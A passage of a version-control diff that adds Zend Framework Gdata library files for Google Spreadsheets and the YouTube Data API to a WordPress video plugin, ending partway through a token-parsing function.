+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_SpreadsheetFeed extends Zend_Gdata_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Spreadsheets_SpreadsheetEntry';
+
+    /**
+     * The classname for the feed.
+     *
+     * @var string
+     */
+    protected $_feedClassName = 'Zend_Gdata_Spreadsheets_SpreadsheetFeed';
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_SpreadsheetFeed object.
+     * @param DOMElement $element (optional) The DOMElement on which to base this object.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Spreadsheets::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/WorksheetEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/WorksheetEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/WorksheetEntry.php	(revision 44)
@@ -0,0 +1,186 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Spreadsheets_Extension_RowCount
+ */
+require_once 'Zend/Gdata/Spreadsheets/Extension/RowCount.php';
+
+/**
+ * @see Zend_Gdata_Spreadsheets_Extension_ColCount
+ */
+require_once 'Zend/Gdata/Spreadsheets/Extension/ColCount.php';
+
+/**
+ * Concrete class for working with Worksheet entries.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright    Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_WorksheetEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Spreadsheets_WorksheetEntry';
+
+    protected $_rowCount = null;
+    protected $_colCount = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_WorksheetEntry object.
+     *
+     * @param DOMElement $element (optional) The DOMElement on which to base this object.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Spreadsheets::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_rowCount != null) {
+            $element->appendChild($this->_rowCount->getDOM($element->ownerDocument));
+        }
+        if ($this->_colCount != null) {
+            $element->appendChild($this->_colCount->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gs') . ':' . 'rowCount';
+                $rowCount = new Zend_Gdata_Spreadsheets_Extension_RowCount();
+                $rowCount->transferFromDOM($child);
+                $this->_rowCount = $rowCount;
+                break;
+            case $this->lookupNamespace('gs') . ':' . 'colCount';
+                $colCount = new Zend_Gdata_Spreadsheets_Extension_ColCount();
+                $colCount->transferFromDOM($child);
+                $this->_colCount = $colCount;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+
+    /**
+     * Gets the row count for this entry.
+     *
+     * @return string The row count for the entry.
+     */
+    public function getRowCount()
+    {
+        return $this->_rowCount;
+    }
+
+    /**
+     * Gets the column count for this entry.
+     *
+     * @return string The column count for the entry.
+     */
+    public function getColumnCount()
+    {
+        return $this->_colCount;
+    }
+
+    /**
+     * Sets the row count for this entry.
+     *
+     * @param string $rowCount The new row count for the entry.
+     */
+    public function setRowCount($rowCount)
+    {
+        $this->_rowCount = $rowCount;
+        return $this;
+    }
+
+    /**
+     * Sets the column count for this entry.
+     *
+     * @param string $colCount The new column count for the entry.
+     */
+    public function setColumnCount($colCount)
+    {
+        $this->_colCount = $colCount;
+        return $this;
+    }
+
+    /**
+     * Returns the content of all rows as an associative array
+     *
+     * @return array An array of rows.  Each element of the array is an associative array of data
+     */
+    public function getContentsAsRows()
+    {
+        $service = new Zend_Gdata_Spreadsheets($this->getHttpClient());
+        return $service->getSpreadsheetListFeedContents($this);
+    }
+
+    /**
+     * Returns the content of all cells as an associative array, indexed
+     * off the cell location  (ie 'A1', 'D4', etc).  Each element of
+     * the array is an associative array with a 'value' and a 'function'.
+     * Only non-empty cells are returned by default.  'range' is the
+     * value of the 'range' query parameter specified at:
+     * http://code.google.com/apis/spreadsheets/reference.html#cells_Parameters
+     *
+     * @param string $range The range of cells to retrieve
+     * @param boolean $empty Whether to retrieve empty cells
+     * @return array An associative array of cells
+     */
+    public function getContentsAsCells($range = null, $empty = false)
+    {
+        $service = new Zend_Gdata_Spreadsheets($this->getHttpClient());
+        return $service->getSpreadsheetCellFeedContents($this, $range, $empty);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/WorksheetFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/WorksheetFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/WorksheetFeed.php	(revision 44)
@@ -0,0 +1,63 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_WorksheetFeed extends Zend_Gdata_Feed
+{
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_WorksheetFeed object.
+     * @param DOMElement $element (optional) The DOMElement on whick to base this element.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Spreadsheets::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Spreadsheets_WorksheetEntry';
+
+    /**
+     * The classname for the feed.
+     *
+     * @var string
+     */
+    protected $_feedClassName = 'Zend_Gdata_Spreadsheets_WorksheetFeed';
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube.php	(revision 44)
@@ -0,0 +1,873 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Media
+ */
+require_once 'Zend/Gdata/Media.php';
+
+/**
+ * @see Zend_Gdata_YouTube_VideoEntry
+ */
+require_once 'Zend/Gdata/YouTube/VideoEntry.php';
+
+/**
+ * @see Zend_Gdata_YouTube_VideoFeed
+ */
+require_once 'Zend/Gdata/YouTube/VideoFeed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_CommentFeed
+ */
+require_once 'Zend/Gdata/YouTube/CommentFeed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_PlaylistListFeed
+ */
+require_once 'Zend/Gdata/YouTube/PlaylistListFeed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_SubscriptionFeed
+ */
+require_once 'Zend/Gdata/YouTube/SubscriptionFeed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_ContactFeed
+ */
+require_once 'Zend/Gdata/YouTube/ContactFeed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_PlaylistVideoFeed
+ */
+require_once 'Zend/Gdata/YouTube/PlaylistVideoFeed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_ActivityFeed
+ */
+require_once 'Zend/Gdata/YouTube/ActivityFeed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_InboxFeed
+ */
+require_once 'Zend/Gdata/YouTube/InboxFeed.php';
+
+
+/**
+ * Service class for interacting with the YouTube Data API.
+ * @link http://code.google.com/apis/youtube/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube extends Zend_Gdata_Media
+{
+
+    const AUTH_SERVICE_NAME = 'youtube';
+    const CLIENTLOGIN_URL = 'https://www.google.com/youtube/accounts/ClientLogin';
+
+    const STANDARD_TOP_RATED_URI = 'http://gdata.youtube.com/feeds/standardfeeds/top_rated';
+    const STANDARD_MOST_VIEWED_URI = 'http://gdata.youtube.com/feeds/standardfeeds/most_viewed';
+    const STANDARD_RECENTLY_FEATURED_URI = 'http://gdata.youtube.com/feeds/standardfeeds/recently_featured';
+    const STANDARD_WATCH_ON_MOBILE_URI = 'http://gdata.youtube.com/feeds/standardfeeds/watch_on_mobile';
+
+    const STANDARD_TOP_RATED_URI_V2 =
+        'http://gdata.youtube.com/feeds/api/standardfeeds/top_rated';
+    const STANDARD_MOST_VIEWED_URI_V2 =
+        'http://gdata.youtube.com/feeds/api/standardfeeds/most_viewed';
+    const STANDARD_RECENTLY_FEATURED_URI_V2 =
+        'http://gdata.youtube.com/feeds/api/standardfeeds/recently_featured';
+    const STANDARD_WATCH_ON_MOBILE_URI_V2 =
+        'http://gdata.youtube.com/feeds/api/standardfeeds/watch_on_mobile';
+
+    const USER_URI = 'http://gdata.youtube.com/feeds/api/users';
+    const VIDEO_URI = 'http://gdata.youtube.com/feeds/api/videos';
+    const PLAYLIST_REL = 'http://gdata.youtube.com/schemas/2007#playlist';
+    const USER_UPLOADS_REL = 'http://gdata.youtube.com/schemas/2007#user.uploads';
+    const USER_PLAYLISTS_REL = 'http://gdata.youtube.com/schemas/2007#user.playlists';
+    const USER_SUBSCRIPTIONS_REL = 'http://gdata.youtube.com/schemas/2007#user.subscriptions';
+    const USER_CONTACTS_REL = 'http://gdata.youtube.com/schemas/2007#user.contacts';
+    const USER_FAVORITES_REL = 'http://gdata.youtube.com/schemas/2007#user.favorites';
+    const VIDEO_RESPONSES_REL = 'http://gdata.youtube.com/schemas/2007#video.responses';
+    const VIDEO_RATINGS_REL = 'http://gdata.youtube.com/schemas/2007#video.ratings';
+    const VIDEO_COMPLAINTS_REL = 'http://gdata.youtube.com/schemas/2007#video.complaints';
+    const ACTIVITY_FEED_URI = 'http://gdata.youtube.com/feeds/api/events';
+    const FRIEND_ACTIVITY_FEED_URI =
+        'http://gdata.youtube.com/feeds/api/users/default/friendsactivity';
+
+    /**
+     * The URI of the in-reply-to schema for comments in reply to
+     * other comments.
+     *
+     * @var string
+     */
+     const IN_REPLY_TO_SCHEME =
+         'http://gdata.youtube.com/schemas/2007#in-reply-to';
+
+    /**
+     * The URI of the inbox feed for the currently authenticated user.
+     *
+     * @var string
+     */
+    const INBOX_FEED_URI =
+        'http://gdata.youtube.com/feeds/api/users/default/inbox';
+
+    /**
+     * The maximum number of users for which activity can be requested for,
+     * as enforced by the API.
+     *
+     * @var integer
+     */
+    const ACTIVITY_FEED_MAX_USERS = 20;
+
+    /**
+     * The suffix for a feed of favorites.
+     *
+     * @var string
+     */
+    const FAVORITES_URI_SUFFIX = 'favorites';
+
+    /**
+     * The suffix for the user's upload feed.
+     *
+     * @var string
+     */
+    const UPLOADS_URI_SUFFIX = 'uploads';
+
+    /**
+     * The suffix for a feed of video responses.
+     *
+     * @var string
+     */
+    const RESPONSES_URI_SUFFIX = 'responses';
+
+    /**
+     * The suffix for a feed of related videos.
+     *
+     * @var string
+     */
+    const RELATED_URI_SUFFIX = 'related';
+
+    /**
+     * The suffix for a feed of messages (inbox entries).
+     *
+     * @var string
+     */
+    const INBOX_URI_SUFFIX = 'inbox';
+
+    /**
+     * Namespaces used for Zend_Gdata_YouTube
+     *
+     * @var array
+     */
+    public static $namespaces = array(
+        array('yt', 'http://gdata.youtube.com/schemas/2007', 1, 0),
+        array('georss', 'http://www.georss.org/georss', 1, 0),
+        array('gml', 'http://www.opengis.net/gml', 1, 0),
+        array('media', 'http://search.yahoo.com/mrss/', 1, 0)
+    );
+
+    /**
+     * Create Zend_Gdata_YouTube object
+     *
+     * @param Zend_Http_Client $client (optional) The HTTP client to use when
+     *          when communicating with the Google servers.
+     * @param string $applicationId The identity of the app in the form of
+     *        Company-AppName-Version
+     * @param string $clientId The clientId issued by the YouTube dashboard
+     * @param string $developerKey The developerKey issued by the YouTube dashboard
+     */
+    public function __construct($client = null,
+        $applicationId = 'MyCompany-MyApp-1.0', $clientId = null,
+        $developerKey = null)
+    {
+        $this->registerPackage('Zend_Gdata_YouTube');
+        $this->registerPackage('Zend_Gdata_YouTube_Extension');
+        $this->registerPackage('Zend_Gdata_Media');
+        $this->registerPackage('Zend_Gdata_Media_Extension');
+
+        // NOTE This constructor no longer calls the parent constructor
+        $this->setHttpClient($client, $applicationId, $clientId, $developerKey);
+    }
+
+    /**
+     * Set the Zend_Http_Client object used for communication
+     *
+     * @param Zend_Http_Client $client The client to use for communication
+     * @throws Zend_Gdata_App_HttpException
+     * @return Zend_Gdata_App Provides a fluent interface
+     */
+    public function setHttpClient($client,
+        $applicationId = 'MyCompany-MyApp-1.0', $clientId = null,
+        $developerKey = null)
+    {
+        if ($client === null) {
+            $client = new Zend_Http_Client();
+        }
+        if (!$client instanceof Zend_Http_Client) {
+            require_once 'Zend/Gdata/App/HttpException.php';
+            throw new Zend_Gdata_App_HttpException(
+                'Argument is not an instance of Zend_Http_Client.');
+        }
+
+        if ($clientId != null) {
+            $client->setHeaders('X-GData-Client', $clientId);
+        }
+
+        if ($developerKey != null) {
+            $client->setHeaders('X-GData-Key', 'key='. $developerKey);
+        }
+
+        return parent::setHttpClient($client, $applicationId);
+    }
+
+    /**
+     * Retrieves a feed of videos.
+     *
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_VideoFeed The feed of videos found at the
+     *         specified URL.
+     */
+    public function getVideoFeed($location = null)
+    {
+        if ($location == null) {
+            $uri = self::VIDEO_URI;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_VideoFeed');
+    }
+
+    /**
+     * Retrieves a specific video entry.
+     *
+     * @param mixed $videoId The ID of the video to retrieve.
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined.
+     * @param boolean $fullEntry (optional) Retrieve the full metadata for the
+     *         entry. Only possible if entry belongs to currently authenticated
+     *         user. An exception will be thrown otherwise.
+     * @throws Zend_Gdata_App_HttpException
+     * @return Zend_Gdata_YouTube_VideoEntry The video entry found at the
+     *         specified URL.
+     */
+    public function getVideoEntry($videoId = null, $location = null,
+        $fullEntry = false)
+    {
+        if ($videoId !== null) {
+            if ($fullEntry) {
+                return $this->getFullVideoEntry($videoId);
+            } else {
+                $uri = self::VIDEO_URI . "/" . $videoId;
+            }
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_YouTube_VideoEntry');
+    }
+
+    /**
+     * Retrieves a video entry from the user's upload feed.
+     *
+     * @param mixed $videoID The ID of the video to retrieve.
+     * @throws Zend_Gdata_App_HttpException
+     * @return Zend_Gdata_YouTube_VideoEntry|null The video entry to be
+     *          retrieved, or null if it was not found or the user requesting it
+     *          did not have the appropriate permissions.
+     */
+    public function getFullVideoEntry($videoId)
+    {
+        $uri = self::USER_URI . "/default/" .
+            self::UPLOADS_URI_SUFFIX . "/$videoId";
+        return parent::getEntry($uri, 'Zend_Gdata_YouTube_VideoEntry');
+    }
+
+    /**
+     * Retrieves a feed of videos related to the specified video ID.
+     *
+     * @param string $videoId The videoId of interest
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_VideoFeed The feed of videos found at the
+     *         specified URL.
+     */
+    public function getRelatedVideoFeed($videoId = null, $location = null)
+    {
+        if ($videoId !== null) {
+            $uri = self::VIDEO_URI . "/" . $videoId . "/" .
+                self::RELATED_URI_SUFFIX;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_VideoFeed');
+    }
+
+    /**
+     * Retrieves a feed of video responses related to the specified video ID.
+     *
+     * @param string $videoId The videoId of interest
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_VideoFeed The feed of videos found at the
+     *         specified URL.
+     */
+    public function getVideoResponseFeed($videoId = null, $location = null)
+    {
+        if ($videoId !== null) {
+            $uri = self::VIDEO_URI . "/" . $videoId . "/" .
+                self::RESPONSES_URI_SUFFIX;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_VideoFeed');
+    }
+
+    /**
+     * Retrieves a feed of comments related to the specified video ID.
+     *
+     * @param string $videoId The videoId of interest
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_CommentFeed The feed of videos found at the
+     *         specified URL.
+     */
+    public function getVideoCommentFeed($videoId = null, $location = null)
+    {
+        if ($videoId !== null) {
+            $uri = self::VIDEO_URI . "/" . $videoId . "/comments";
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_CommentFeed');
+    }
+
+    /**
+     * Retrieves a feed of comments related to the specified video ID.
+     *
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_CommentFeed The feed of videos found at the
+     *         specified URL.
+     */
+    public function getTopRatedVideoFeed($location = null)
+    {
+        $standardFeedUri = self::STANDARD_TOP_RATED_URI;
+
+        if ($this->getMajorProtocolVersion() == 2) {
+            $standardFeedUri = self::STANDARD_TOP_RATED_URI_V2;
+        }
+
+        if ($location == null) {
+            $uri = $standardFeedUri;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            if ($location instanceof Zend_Gdata_YouTube_VideoQuery) {
+                if (!isset($location->url)) {
+                    $location->setFeedType('top rated');
+                }
+            }
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_VideoFeed');
+    }
+
+
+    /**
+     * Retrieves a feed of the most viewed videos.
+     *
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_VideoFeed The feed of videos found at the
+     *         specified URL.
+     */
+    public function getMostViewedVideoFeed($location = null)
+    {
+        $standardFeedUri = self::STANDARD_MOST_VIEWED_URI;
+
+        if ($this->getMajorProtocolVersion() == 2) {
+            $standardFeedUri = self::STANDARD_MOST_VIEWED_URI_V2;
+        }
+
+        if ($location == null) {
+            $uri = $standardFeedUri;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            if ($location instanceof Zend_Gdata_YouTube_VideoQuery) {
+                if (!isset($location->url)) {
+                    $location->setFeedType('most viewed');
+                }
+            }
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_VideoFeed');
+    }
+
+    /**
+     * Retrieves a feed of recently featured videos.
+     *
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_VideoFeed The feed of videos found at the
+     *         specified URL.
+     */
+    public function getRecentlyFeaturedVideoFeed($location = null)
+    {
+        $standardFeedUri = self::STANDARD_RECENTLY_FEATURED_URI;
+
+        if ($this->getMajorProtocolVersion() == 2) {
+            $standardFeedUri = self::STANDARD_RECENTLY_FEATURED_URI_V2;
+        }
+
+        if ($location == null) {
+            $uri = $standardFeedUri;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            if ($location instanceof Zend_Gdata_YouTube_VideoQuery) {
+                if (!isset($location->url)) {
+                    $location->setFeedType('recently featured');
+                }
+            }
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_VideoFeed');
+    }
+
+    /**
+     * Retrieves a feed of videos recently featured for mobile devices.
+     * These videos will have RTSP links in the $entry->mediaGroup->content
+     *
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_VideoFeed The feed of videos found at the
+     *         specified URL.
+     */
+    public function getWatchOnMobileVideoFeed($location = null)
+    {
+        $standardFeedUri = self::STANDARD_WATCH_ON_MOBILE_URI;
+
+        if ($this->getMajorProtocolVersion() == 2) {
+            $standardFeedUri = self::STANDARD_WATCH_ON_MOBILE_URI_V2;
+        }
+
+        if ($location == null) {
+            $uri = $standardFeedUri;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            if ($location instanceof Zend_Gdata_YouTube_VideoQuery) {
+                if (!isset($location->url)) {
+                    $location->setFeedType('watch on mobile');
+                }
+            }
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_VideoFeed');
+    }
+
+    /**
+     * Retrieves a feed which lists a user's playlist
+     *
+     * @param string $user (optional) The username of interest
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_PlaylistListFeed The feed of playlists
+     */
+    public function getPlaylistListFeed($user = null, $location = null)
+    {
+        if ($user !== null) {
+            $uri = self::USER_URI . '/' . $user . '/playlists';
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_PlaylistListFeed');
+    }
+
+    /**
+     * Retrieves a feed of videos in a particular playlist
+     *
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_PlaylistVideoFeed The feed of videos found at
+     *         the specified URL.
+     */
+    public function getPlaylistVideoFeed($location)
+    {
+        if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_PlaylistVideoFeed');
+    }
+
+    /**
+     * Retrieves a feed of a user's subscriptions
+     *
+     * @param string $user (optional) The username of interest
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_SubscriptionListFeed The feed of subscriptions
+     */
+    public function getSubscriptionFeed($user = null, $location = null)
+    {
+        if ($user !== null) {
+            $uri = self::USER_URI . '/' . $user . '/subscriptions';
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_SubscriptionFeed');
+    }
+
+    /**
+     * Retrieves a feed of a user's contacts
+     *
+     * @param string $user (optional) The username of interest
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_ContactFeed The feed of contacts
+     */
+    public function getContactFeed($user = null, $location = null)
+    {
+        if ($user !== null) {
+            $uri = self::USER_URI . '/' . $user . '/contacts';
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_ContactFeed');
+    }
+
+    /**
+     * Retrieves a user's uploads
+     *
+     * @param string $user (optional) The username of interest
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_VideoFeed The videos uploaded by the user
+     */
+    public function getUserUploads($user = null, $location = null)
+    {
+        if ($user !== null) {
+            $uri = self::USER_URI . '/' . $user . '/' .
+                   self::UPLOADS_URI_SUFFIX;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_VideoFeed');
+    }
+
+    /**
+     * Retrieves a user's favorites
+     *
+     * @param string $user (optional) The username of interest
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_VideoFeed The videos favorited by the user
+     */
+    public function getUserFavorites($user = null, $location = null)
+    {
+        if ($user !== null) {
+            $uri = self::USER_URI . '/' . $user . '/' .
+                   self::FAVORITES_URI_SUFFIX;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_VideoFeed');
+    }
+
+    /**
+     * Retrieves a user's profile as an entry
+     *
+     * @param string $user (optional) The username of interest
+     * @param mixed $location (optional) The URL to query or a
+     *         Zend_Gdata_Query object from which a URL can be determined
+     * @return Zend_Gdata_YouTube_UserProfileEntry The user profile entry
+     */
+    public function getUserProfile($user = null, $location = null)
+    {
+        if ($user !== null) {
+            $uri = self::USER_URI . '/' . $user;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_YouTube_UserProfileEntry');
+    }
+
+    /**
+     * Helper function for parsing a YouTube token response
+     *
+     * @param string $response The service response
+     * @throws Zend_Gdata_App_Exception
+     * @return array An array containing the token and URL
+     */
+    public static function parseFormUploadTokenResponse($response)
+    {
+        // Load the feed as an XML DOMDocument object
+        @ini_set('track_errors', 1);
+        $doc = new DOMDocument();
+        $success = @$doc->loadXML($response);
